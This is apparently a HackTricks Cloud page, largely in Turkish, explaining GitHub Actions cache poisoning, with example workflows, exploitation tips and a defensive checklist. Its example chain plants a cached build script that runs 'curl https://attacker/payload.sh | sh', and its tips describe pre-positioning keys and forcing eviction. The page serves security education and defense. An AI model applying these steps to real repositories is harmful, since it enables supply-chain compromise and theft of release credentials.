GH Actions - Cache Poisoning
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Genel Bakış
The GitHub Actions cache bir repository düzeyindedir. Bir cache key’ini (veya restore-keys) bilen herhangi bir workflow, job sadece permissions: contents: read olsa bile o girdiyi doldurabilir. GitHub, önbellekleri workflow, event türü veya güven seviyesi bazında ayırmaz; bu yüzden düşük ayrıcalıklı bir job’u ele geçiren bir saldırgan, daha sonra ayrıcalıklı bir release job’un geri yükleyeceği bir önbelleği zehirleyebilir. Ultralytics ihlalinin pull_request_target workflow’ünden PyPI publishing pipeline’ına böyle pivotlandı.
Saldırı Temelleri
actions/cachehem restore hem save operasyonlarını sunar (actions/cache@v4,actions/cache/save@v4,actions/cache/restore@v4). Save çağrısı, forks’tan tetiklenen gerçekten güvensizpull_requestworkflow’ları hariç herhangi bir job için izinlidir.- Önbellek girdileri yalnızca
keyile tanımlanır. Genişrestore-keyspayload enjekte etmeyi kolaylaştırır çünkü saldırganın sadece bir önek ile çakışması yeterlidir. - Cache anahtarları ve sürümleri istemci tarafından belirtilen değerlerdir; cache servisi bir key/version’ın güvenilir bir workflow veya önbellek yolu ile eşleşip eşleşmediğini doğrulamaz.
- Cache server URL + runtime token, workflow’e göre uzun ömürlüdür (tarihlerde ~6 saat iken şimdi ~90 dakika) ve kullanıcı tarafından iptal edilemez. 2024 sonu itibarıyla GitHub, orijinal job tamamlandıktan sonra cache yazmalarını engelliyor; bu yüzden saldırganların job hâlâ çalışırken yazmaları veya gelecekteki anahtarları önceden zehirlemeleri gerekir.
- Önbelleğe alınmış dosya sistemi olduğu gibi geri yüklenir. Eğer cache daha sonra çalıştırılan scriptler veya ikili dosyalar içeriyorsa, saldırgan o yürütme yolunu kontrol eder.
- Cache dosyasının kendisi restore sırasında doğrulanmaz; o sadece zstd ile sıkıştırılmış bir arşivdir, dolayısıyla zehirlenmiş bir giriş scriptleri,
package.json’ı veya restore yolundaki diğer dosyaları üzerine yazabilir.
Örnek sömürü zinciri
Author workflow (pull_request_target) önbelleği zehirledi:
steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
Privileged workflow poisoned cache’i geri yükledi ve çalıştırdı:
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz
İkinci job artık release kimlik bilgilerini (PyPI tokens, PATs, cloud deploy keys, etc.) elinde tutarken saldırgan kontrollü kodu çalıştırıyor.
Poisoning mechanics
GitHub Actions cache girişleri genellikle zstd-sıkıştırılmış tar arşivleridir. Yerel olarak bir tane oluşturup cache’e yükleyebilirsiniz:
tar --zstd -cf poisoned_cache.tzstd cache/contents/here
On a cache hit, the restore action will extract the archive as-is. If the cache path includes scripts or config files that are executed later (build tooling, action.yml, package.json, etc.), you can overwrite them to gain execution.
Pratik istismar ipuçları
pull_request_target,issue_commenttetiklenen veya hâlâ cache kaydeden bot komutlarını hedefleyin; GitHub, runner’ın repoya yalnızca read erişimi olsa bile repository-genel anahtarları üzerine yazılmasına izin verir.- Güven sınırları arasında yeniden kullanılan deterministik cache anahtarları (ör.
pip-${{ hashFiles('poetry.lock') }}) veya hoşgörülürestore-keysarayın; ayrıcalıklı workflow çalışmadan önce kötü niyetli tarball’ınızı kaydedin. - Loglarda
Cache savedgirdilerini izleyin veya kendi cache-save adımınızı ekleyin, böylece sonraki release job payload’u geri yükler ve trojanlanmış script’ler veya ikili dosyaları çalıştırır.
Angular (2026) zincirinde görülen daha yeni teknikler
- Cache v2 “prefix hit” behavior: Cache v2’de, tam eşleşme olmaması durumunda bile aynı anahtar önekiyle paylaşan başka bir giriş geri yüklenebilir (etkili olarak “tüm anahtarlar restore key’dir”). Saldırganlar, gelecekteki bir miss’in zehirlenmiş nesneye düşmesi için yakın çakışma anahtarlarını önceden yerleştirebilir.
- Tek çalıştırmada zorunlu tahliye (forced eviction): 20 Kasım 2025’ten itibaren, repository cache kullanımı sınırı (varsayılan 10 GB) aşıldığında GitHub girişleri hemen tahliye eder. Bir saldırgan önce gereksiz cache verisi yükleyip aynı iş içinde meşru girişleri tahliye edebilir ve sonra günlük temizleme döngüsünü beklemeden kötü amaçlı cache anahtarını yazabilir.
setup-nodecache pivots via reusable actions:actions/setup-node’ucache-dependency-pathile saran reusable/internal action’lar düşük-güvenli ve yüksek-güvenli iş akışlarını sessizce birbirine bağlayabilir. Her iki yol da paylaşılan anahtarlara hashleniyorsa, dependency cache’i zehirlemek ayrıcalıklı otomasyonda (ör. Renovate/bot jobs) yürütülebilir.- Bot-tahrikli supply chain istismarıyla zincirleme cache poisoning: Angular vakasında, cache poisoning bir bot PAT’sini ortaya çıkardı; bu PAT daha sonra onaylandıktan sonra bot’a ait PR head’lerini force-push etmek için kullanılabildi. Eğer onay-sıfırlama kuralları bot aktörleri muaf tutuyorsa, bu merge öncesi incelenmiş commit’lerin kötü amaçlı olanlarla (ör. taklitçi action SHA’ları) değiştirilmesine olanak verir.
##å Cacheract
Cacheract is a PoC-focused toolkit for GitHub Actions cache poisoning in authorized testing. Pratik faydası, manuel olarak kolayca yanlış yapılabilen kırılgan kısımları otomatikleştirmesidir:
- Runner’dan çalışma zamanı cache bağlamını tespit edip kullanmak (
ACTIONS_RUNTIME_TOKENve cache servis URL’si). - Downstream iş akışlarında kullanılan aday cache anahtarlarını/sürümlerini enumerate edip hedeflemek.
- Quota doluluk sınırını aşarak (uygunsa) tahliyeyi zorlamak ve aynı çalıştırmada saldırgan kontrollü girdileri yazmak.
- Zehirlenmiş cache içeriği tohumlayarak sonraki workflow’ların değiştirilmiş tooling’i geri yükleyip çalıştırmasını sağlamak.
Bu, zamanlama ve anahtar/sürüm davranışının erken cache uygulamalarından daha önemli olduğu Cache v2 ortamlarında özellikle yararlıdır.
Demo
Bunu yalnızca sahip olduğunuz veya açıkça test etmenize izin verilen repository’lerde kullanın.
1. Zayıf iş akışı (güvenilmeyen tetikleyici cache kaydedebilir)
Bu iş akışı bir pull_request_target anti-pattern’ini simüle eder: attacker-controlled bağlamdan cache içeriği yazar ve deterministik bir anahtar altında kaydeder.
name: untrusted-cache-writer
on:
pull_request_target:
types: [opened, synchronize, reopened]
permissions:
contents: read
jobs:
poison:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build "toolchain" from untrusted context (demo)
run: |
mkdir -p toolchain/bin
cat > toolchain/bin/build << 'EOF'
#!/usr/bin/env bash
echo "POISONED_BUILD_PATH"
echo "workflow=${GITHUB_WORKFLOW}" > /tmp/cache-poisoning-demo.txt
EOF
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
2. Ayrıcalıklı iş akışı (önbelleğe alınmış ikili/komut dosyasını geri yükler ve çalıştırır)
Bu iş akışı aynı anahtarı geri yükler ve dummy secret tutarken toolchain/bin/build’i çalıştırır. Eğer zehirlenmişse, yürütme yolu saldırgan tarafından kontrol edilir.
name: privileged-consumer
on:
workflow_dispatch:
permissions:
contents: read
jobs:
release_like_job:
runs-on: ubuntu-latest
env:
DEMO_SECRET: ${{ secrets.DEMO_SECRET }}
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- name: Execute cached build tool
run: |
./toolchain/bin/build
test -f /tmp/cache-poisoning-demo.txt && echo "Poisoning confirmed"
3. Laboratuvarı çalıştır
- Kararlı bir
toolchain.lockdosyası ekle, böylece her iki workflow da aynı cache key’i çözer. - Bir test PR’den
untrusted-cache-writertetikle. workflow_dispatchileprivileged-consumertetikle.POISONED_BUILD_PATH’in logs’ta göründüğünü ve/tmp/cache-poisoning-demo.txtdosyasının oluşturulduğunu doğrula.
4. What this demonstrates technically
- Cross-workflow cache trust break: The writer and consumer workflows do not share trust level, but they share cache namespace.
- Execution-on-restore risk: No integrity validation is performed before executing a restored script/binary.
- Deterministic key abuse: If a high-trust job uses predictable keys, a low-trust job can preposition malicious content.
5. Savunma — doğrulama kontrol listesi
- Anahtarları trust boundary’e göre ayır (
pr-,ci-,release-) ve paylaşılan prefix’lerden kaçın. - Untrusted workflow’larda cache yazmalarını devre dışı bırak.
- Çalıştırmadan önce geri yüklenen yürütülebilir içeriği hash’le/doğrula.
- Araçları doğrudan cache path’lerinden çalıştırmaktan kaçın.
Referanslar
- A Survey of 2024–2025 Open-Source Supply-Chain Compromises and Their Root Causes
- The Monsters in Your Build Cache: GitHub Actions Cache Poisoning
- Turning Almost Nothing into a Supply Chain Compromise of Angular with GitHub Actions Cache Poisoning
- ActionsCacheBlasting (deprecated, Cache V2) / Cacheract
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

